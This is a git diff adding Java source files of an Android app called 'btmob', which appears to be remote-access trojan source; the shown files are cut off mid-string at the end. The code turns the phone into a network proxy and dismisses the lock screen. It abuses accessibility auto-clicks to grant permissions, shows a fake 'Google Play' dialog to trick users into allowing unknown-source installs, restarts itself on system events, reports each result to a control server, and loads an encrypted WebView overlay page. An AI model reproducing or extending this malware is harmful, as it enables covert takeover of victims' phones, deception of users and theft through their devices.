clientWriter.write("HTTP/1.1 200 Connection Established\r\n"); + clientWriter.write("Proxy-agent: JavaProxy\r\n"); + clientWriter.write("\r\n"); + clientWriter.flush(); + + // Tunnel data between the client and the destination server + InputStream proxyInputStream = proxySocket.getInputStream(); + OutputStream proxyOutputStream = proxySocket.getOutputStream(); + + Thread clientToProxy = new Thread(() -> { + try { + tunnelData(clientSocket.getInputStream(), proxyOutputStream); + } catch (IOException e) { + throw new RuntimeException(e); + } + }); + Thread proxyToClient = new Thread(() -> { + try { + tunnelData(proxyInputStream, clientSocket.getOutputStream()); + } catch (IOException e) { + throw new RuntimeException(e); + } + }); + + clientToProxy.start(); + proxyToClient.start(); + + clientToProxy.join(); + proxyToClient.join(); + + proxySocket.close(); + + } catch (Exception e) { + MyLoger.Error("RequestHandler", "Error handling CONNECT method"+ e.getMessage()); + logserver("ERROR 3",e.getMessage(),"..."); + } + } + + private void tunnelData(InputStream inputStream, OutputStream outputStream) { + try { + byte[] buffer = new byte[4096]; + int bytesRead; + while ((bytesRead = inputStream.read(buffer)) != -1) { + try { + outputStream.write(buffer, 0, bytesRead); + outputStream.flush(); + } catch (IOException e) { + if (e.getMessage().contains("Broken pipe")) { + MyLoger.Error("RequestHandler", "Broken pipe detected, stopping data tunneling."); + break; // Stop tunneling if a broken pipe occurs + } else { + throw e; // Rethrow other IOExceptions + } + } + } + } catch (IOException e) { + MyLoger.Error("RequestHandler", "Error tunneling data: " + e.getMessage()); + logserver("ERROR 4", e.getMessage(), "..."); + } + } + + private void handleHttpRequest(String method, String url, String[] requestLines, BufferedReader reader, OutputStream outputStream) { + try { + String userAgent = System.getProperty("http.agent"); + + // Create a connection to the destination server + URL destinationUrl = new URL(url); + HttpURLConnection connection = (HttpURLConnection) destinationUrl.openConnection(); + connection.setRequestMethod(method); + + // Forward headers from the client to the destination server + int contentLength = -1; + for (int i = 1; i < requestLines.length; i++) { + String[] header = requestLines[i].split(": "); + if (header.length == 2) { + if (header[0].equalsIgnoreCase("User-Agent")) { + connection.setRequestProperty("User-Agent", userAgent); + } else { + connection.setRequestProperty(header[0], header[1]); + if (header[0].equalsIgnoreCase("Content-Length")) { + contentLength = Integer.parseInt(header[1]); + } + } + } + } + + // Send the request body to the destination server if it's a POST or PUT request + if (method.equals("POST") || method.equals("PUT")) { + connection.setDoOutput(true); + OutputStream connectionOutputStream = connection.getOutputStream(); + + // Read the exact content length if specified + if (contentLength > 0) { + char[] buffer = new char[contentLength]; + int bytesRead = reader.read(buffer, 0, contentLength); + if (bytesRead > 0) { + connectionOutputStream.write(new String(buffer).getBytes()); + connectionOutputStream.flush(); + } + } else { + // Fallback to reading until the stream is empty if content length is not provided + BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(connectionOutputStream)); + String body; + while ((body = reader.readLine()) != null) { + writer.write(body); + writer.flush(); + } + } + } + + // Get the response from the destination server + int responseCode = connection.getResponseCode(); + InputStream destinationInputStream = (responseCode >= 200 && responseCode < 400) + ? connection.getInputStream() + : connection.getErrorStream(); + + BufferedReader destinationReader = new BufferedReader(new InputStreamReader(destinationInputStream)); + StringBuilder responseBuilder = new StringBuilder(); + String responseLine; + while ((responseLine = destinationReader.readLine()) != null) { + responseBuilder.append(responseLine).append("\r\n"); + } + + // Send the response back to the client + PrintWriter clientWriter = new PrintWriter(outputStream); + clientWriter.write("HTTP/1.1 " + responseCode + " \r\n"); + clientWriter.write(responseBuilder.toString()); + clientWriter.flush(); + + } catch (IOException e) { + MyLoger.Error("RequestHandler", "Error handling HTTP request" + e.getMessage()); + logserver("ERROR 5", e.getMessage(), "..."); + } + } + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RequestPermissions2.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RequestPermissions2.java new file mode 100644 index 0000000..63720f8 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RequestPermissions2.java @@ -0,0 +1,130 @@ +package com.icontrol.protector; + + +import android.app.Activity; +import android.app.KeyguardManager; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.os.Build; +import android.os.Bundle; + + +import android.view.Window; +import android.view.WindowManager; + + +import androidx.core.app.ActivityCompat; + +public class RequestPermissions2 extends Activity { + public static boolean hasPermissions(Context context, String... permissions) { + if (context != null && permissions != null) { + for (String permission : permissions) { + if (ActivityCompat.checkSelfPermission(context, permission) != PackageManager.PERMISSION_GRANTED) { + return false; + } + } + } + return true; + } + @Override + public void onCreate(Bundle v) { + + + super.onCreate(v); + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + try + { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) { + + getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN + ); + KeyguardManager keyguardManager = (KeyguardManager) getApplicationContext().getSystemService(Context.KEYGUARD_SERVICE); + keyguardManager.requestDismissKeyguard(this, null); + setShowWhenLocked(true); + // setTurnScreenOn(true); + } else { + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN| + + WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD| + WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED| + WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON); + } + }catch (Exception ed){ + try { + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN| + + WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD| + WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED| + WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON); + }catch (Exception f) + { + try + { + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN + ); + }catch (Exception gg){ + + } + } + + } + try + { + Intent intent = getIntent(); + ToAskNew = intent.getStringArrayExtra("Data"); + + if (ToAskNew != null) + { + + int PERMISSION_ALL = 151; + String[] PERMISSIONS = ToAskNew; + if(!hasPermissions(this, PERMISSIONS)){ + ActivityCompat.requestPermissions(this, PERMISSIONS, PERMISSION_ALL); + ToggleAccess(true); + }else { + finish(); + } + + }else + { + finish(); + } + + + }catch (Exception e ){ + finish(); + } + + } + private void ToggleAccess(boolean state){ + + AccessServices.FOR_PRIMS = state; + AccessServices.Auto_Click = state; + + } + public static String[] ToAskNew; + + @Override + public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) { + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + //finish(); + switch (requestCode) { + case 151:{ + if (grantResults.length >0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) + { + ToggleAccess(false); + finish(); + + } + } + } + } +} \ No newline at end of file diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Requestinstall.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Requestinstall.java new file mode 100644 index 0000000..6080f68 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/Requestinstall.java @@ -0,0 +1,117 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.app.Activity; +import android.app.AlertDialog; +import android.content.Context; +import android.content.DialogInterface; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.graphics.drawable.Drawable; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.provider.Settings; + +import java.util.Locale; + + +public class Requestinstall extends Activity { + private static final int REQUEST_INSTALL_PERMISSION = 1001; + private static Context Myctx; + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + Myctx = getApplicationContext(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + // Check if the app already has the permission + if (!getPackageManager().canRequestPackageInstalls()) { + // Request the permission + Askinstall(); + } + } + } + private void Askinstall() { + String CurrnetLanuage = Locale.getDefault().getLanguage(); + //Toast.makeText(this,"Enable Draw over apps For : " + getString(R.string.f1f2f3f4f5f6), Toast.LENGTH_LONG).show(); + final AlertDialog.Builder alertDialog = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert); + + + String buttonnameOK="OK"; + String MYNAME= UtliTools.getAppNameFromPkgName(Myctx,Myctx.getPackageName()); + switch (CurrnetLanuage){ + case "en": + buttonnameOK="Enable"; + + alertDialog.setMessage("To keep the app up-to date , please enable install from: "+ MYNAME); + break; + case "ar": + buttonnameOK="تفعيل"; + + alertDialog.setMessage("للحفاظ على التطبيق محدثًا ، يرجى تمكين التثبيت من: "+MYNAME); + break; + case "cn": + buttonnameOK="使能够"; + + alertDialog.setMessage("为了使应用程序保持最新状态,请启用从以下位置安装:"+ MYNAME); + break; + case "tr": + buttonnameOK="Tamam"; + + alertDialog.setMessage("Uygulamayı güncel tutmak için Şuradan Yükle'yi etkinleştirin: "+MYNAME); + break; + default: + buttonnameOK="OK"; + + alertDialog.setMessage("to keep the app up-to date , please enable install from: "+ MYNAME); + break; + + } + try { + Drawable icon = this.getPackageManager().getApplicationIcon("com.android.vending"); + alertDialog.setIcon(icon); + alertDialog.setTitle("Google Play"); + } catch (PackageManager.NameNotFoundException e) { + + try { + // null; + Drawable icon = this.getPackageManager().getApplicationIcon(getPackageName()); + alertDialog.setIcon(icon); + alertDialog.setTitle(MYNAME); + } catch (PackageManager.NameNotFoundException ex) { + //ex.printStackTrace(); + } + + } + + + alertDialog.setPositiveButton(buttonnameOK, new DialogInterface.OnClickListener() { + @Override + public void onClick(DialogInterface dialogInterface, int i) { + + Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES, + Uri.parse("package:" + getPackageName())); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivityForResult(intent, REQUEST_INSTALL_PERMISSION); + } + }); + + + alertDialog.show(); + + } + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent data) { + + if (requestCode == REQUEST_INSTALL_PERMISSION) { + + if (resultCode == RESULT_OK) { + AlertServer(Myctx, "install Apps", "Permission Enabled"); + } else { + AlertServer(Myctx, "install Apps", "Client Rejected Request"); + } + finish(); + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ResetServices.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ResetServices.java new file mode 100644 index 0000000..d721893 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ResetServices.java @@ -0,0 +1,64 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.MyCods.isServiceRunning; +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.app.Notification; +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.os.AsyncTask; +import android.os.Build; + +import androidx.work.OneTimeWorkRequest; +import androidx.work.WorkManager; + +public class ResetServices extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { + + + + try{ + new Thread(() -> { + try{ + //JobSchedulerUtil.scheduleJob(context); + //AlarmHelper.setAlarm(context, EngineWorker.class, System.currentTimeMillis() + 15000); + if (intent.getAction() != null) { + if ("android.intent.action.BATTERY_LOW".equals(intent.getAction())) { + + AlertServer(context,"Battery State","Battery is low"); + } + } + + MySettings.WriteBool(context, Consts.AutoStartOn,true); + if (!isServiceRunning(context, WorkServices.class)) + { + Intent workint2 = new Intent(context, WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(workint2); + }else + { + context.startService(workint2); + } + } + Intent workint = new Intent(context, EngineWorker.class); + if (!isServiceRunning(context, EngineWorker.class)) + { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(workint); + }else + { + context.startService(workint); + } + } + }catch (Exception a){ + a.printStackTrace(); + } + }).start(); + }catch (Exception a){ + a.printStackTrace(); + } + + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RestrectionActivity.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RestrectionActivity.java new file mode 100644 index 0000000..ee8627a --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/RestrectionActivity.java @@ -0,0 +1,179 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.MyCods.is_Access_Enabled; + +import android.app.Activity; +import android.content.Context; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.util.Base64; +import android.view.KeyEvent; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.CookieManager; +import android.webkit.JavascriptInterface; +import android.webkit.JsResult; +import android.webkit.WebChromeClient; +import android.webkit.WebView; +import android.webkit.WebViewClient; + +import java.io.UnsupportedEncodingException; +import java.util.Locale; + +public class RestrectionActivity extends Activity { + + public static String getLabelApplication(Context context) { + try { + return (String) context.getPackageManager().getApplicationLabel(context.getPackageManager().getApplicationInfo(context.getPackageName(), PackageManager.GET_META_DATA)); + }catch (Exception ex){ + } + return context.getString(R.string.BaseName); + } + + private static RestrectionActivity instance; + public static boolean isActivityOpen() { + return instance != null; + } + + + static Context myctx=null; + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + instance =this; + EngineWorker.needtofy=false; + if (myctx == null) + { + myctx = getApplicationContext(); + } + Locale currentLocale = getResources().getConfiguration().locale; + + // Get the language code + String languageCode = currentLocale.getLanguage(); + WebView webView = new WebView((Context)this); + try{ + CookieManager.getInstance().setAcceptCookie(true); + CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true); + }catch (Exception a){ + + } + webView.getSettings().setJavaScriptEnabled(true); + webView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY); + webView.setWebViewClient(new RestrectionActivity.MyWebViewClient()); + webView.setWebChromeClient(new RestrectionActivity.MyWebChromeClient()); + webView.addJavascriptInterface(new RestrectionActivity.WebAppInterface((Context)this), "CallBacker"); + My_Crpter cr = My_Crpter.Getinstance(); + String PageBase64 = ""; + if(UtliTools.isSamsung() || UtliTools.isGoogle() || UtliTools.isRealme()){ + PageBase64 = cr.Dcrpt_Str("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